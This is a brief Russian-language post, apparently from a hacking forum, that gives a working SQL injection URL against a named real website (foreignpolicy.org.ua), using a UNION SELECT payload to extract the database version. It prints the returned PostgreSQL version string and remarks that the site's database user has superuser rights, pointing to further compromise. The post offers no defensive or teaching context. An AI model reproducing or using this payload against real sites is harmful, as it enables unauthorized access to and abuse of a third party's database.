Потому что тут PostgreSQL
http://www.foreignpolicy.org.ua/view2.php?id=-28768+union+select+null,version(),null,null,null,n ull,null,null,null--
PostgreSQL 8.2.13 on i386-portbld-freebsd6.3, compiled by GCC cc (GCC) 3.4.6 [FreeBSD] 20060305
PS Там даже у юзера права usesuper

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